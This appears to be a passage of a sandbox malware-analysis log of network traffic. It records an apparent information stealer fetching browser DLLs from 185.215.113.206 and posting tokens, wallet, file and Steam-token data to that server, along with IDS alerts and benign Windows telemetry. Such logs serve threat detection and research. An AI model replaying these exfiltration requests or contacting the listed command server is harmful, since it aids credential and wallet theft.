Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAFBAKECAEGCBFIEGDGIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 38 37 34 63 65 37 63 66 61 30 37 66 64 31 33 37 61 61 38 34 39 63 61 61 63 31 32 33 34 62 32 63 32 64 33 32 36 62 34 39 63 62 32 32 30 35 34 66 61 63 63 63 30 39 30 39 32 38 34 31 66 66 64 30 32 36 36 62 31 64 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 49 2d 2d 0d 0a Data Ascii: ------AAFBAKECAEGCBFIEGDGIContent-Disposition: form-data; name="token"c1874ce7cfa07fd137aa849caac1234b2c2d326b49cb22054faccc09092841ffd0266b1d------AAFBAKECAEGCBFIEGDGIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AAFBAKECAEGCBFIEGDGIContent-Disposition: form-data; name="file"------AAFBAKECAEGCBFIEGDGI--
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCBAEHCAEGDHJKFHJKFHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGDHJJDGHCAAAKEHIJHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 38 37 34 63 65 37 63 66 61 30 37 66 64 31 33 37 61 61 38 34 39 63 61 61 63 31 32 33 34 62 32 63 32 64 33 32 36 62 34 39 63 62 32 32 30 35 34 66 61 63 63 63 30 39 30 39 32 38 34 31 66 66 64 30 32 36 36 62 31 64 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 2d 2d 0d 0a Data Ascii: ------EGDGDHJJDGHCAAAKEHIJContent-Disposition: form-data; name="token"c1874ce7cfa07fd137aa849caac1234b2c2d326b49cb22054faccc09092841ffd0266b1d------EGDGDHJJDGHCAAAKEHIJContent-Disposition: form-data; name="message"wallets------EGDGDHJJDGHCAAAKEHIJ--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCGDBKEGHIEBGDBFHDHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 38 37 34 63 65 37 63 66 61 30 37 66 64 31 33 37 61 61 38 34 39 63 61 61 63 31 32 33 34 62 32 63 32 64 33 32 36 62 34 39 63 62 32 32 30 35 34 66 61 63 63 63 30 39 30 39 32 38 34 31 66 66 64 30 32 36 36 62 31 64 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 2d 2d 0d 0a Data Ascii: ------CBGCGDBKEGHIEBGDBFHDContent-Disposition: form-data; name="token"c1874ce7cfa07fd137aa849caac1234b2c2d326b49cb22054faccc09092841ffd0266b1d------CBGCGDBKEGHIEBGDBFHDContent-Disposition: form-data; name="message"files------CBGCGDBKEGHIEBGDBFHD--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKKFIIEBKEGIEBFIJKFIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 38 37 34 63 65 37 63 66 61 30 37 66 64 31 33 37 61 61 38 34 39 63 61 61 63 31 32 33 34 62 32 63 32 64 33 32 36 62 34 39 63 62 32 32 30 35 34 66 61 63 63 63 30 39 30 39 32 38 34 31 66 66 64 30 32 36 36 62 31 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="token"c1874ce7cfa07fd137aa849caac1234b2c2d326b49cb22054faccc09092841ffd0266b1d------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="file"------JKKFIIEBKEGIEBFIJKFI--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAKFCGIJKJKFHIDHIIHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 38 37 34 63 65 37 63 66 61 30 37 66 64 31 33 37 61 61 38 34 39 63 61 61 63 31 32 33 34 62 32 63 32 64 33 32 36 62 34 39 63 62 32 32 30 35 34 66 61 63 63 63 30 39 30 39 32 38 34 31 66 66 64 30 32 36 36 62 31 64 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 2d 2d 0d 0a Data Ascii: ------DHDAKFCGIJKJKFHIDHIIContent-Disposition: form-data; name="token"c1874ce7cfa07fd137aa849caac1234b2c2d326b49cb22054faccc09092841ffd0266b1d------DHDAKFCGIJKJKFHIDHIIContent-Disposition: form-data; name="message"ybncbhylepme------DHDAKFCGIJKJKFHIDHII--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIEBKEHCAKFCBFIDAAKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 42 4b 45 48 43 41 4b 46 43 42 46 49 44 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 38 37 34 63 65 37 63 66 61 30 37 66 64 31 33 37 61 61 38 34 39 63 61 61 63 31 32 33 34 62 32 63 32 64 33 32 36 62 34 39 63 62 32 32 30 35 34 66 61 63 63 63 30 39 30 39 32 38 34 31 66 66 64 30 32 36 36 62 31 64 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 42 4b 45 48 43 41 4b 46 43 42 46 49 44 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 42 4b 45 48 43 41 4b 46 43 42 46 49 44 41 41 4b 2d 2d 0d 0a Data Ascii: ------CFIEBKEHCAKFCBFIDAAKContent-Disposition: form-data; name="token"c1874ce7cfa07fd137aa849caac1234b2c2d326b49cb22054faccc09092841ffd0266b1d------CFIEBKEHCAKFCBFIDAAKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------CFIEBKEHCAKFCBFIDAAK--

Source: Joe Sandbox View	IP Address: 20.125.209.212 20.125.209.212
Source: Joe Sandbox View	IP Address: 13.89.179.13 13.89.179.13
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:63519 -> 185.215.113.206:80

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:63689 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=FBpGfAvUTte+PfH&MD=dBuea8K9 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /config/v1/Edge/117.0.2045.47?clientId=6686581979505309747&agents=Edge%2CEdgeConfig%2CEdgeServices%2CEdgeFirstRun%2CEdgeFirstRunConfig%2CEdgeDomainActions&osname=win&client=edge&channel=stable&scpfull=0&scpguard=0&scpfre=0&scpver=0&osarch=x86_64&osver=10.0.19045&wu=1&devicefamily=desktop&uma=0&sessionid=6&mngd=0&installdate=1696426482&edu=&bphint=2&soobedate=1696426478&fg=1 HTTP/1.1Host: config.edge.skype.comConnection: keep-aliveIf-None-Match: "pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="Accept-Encoding: gzipSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
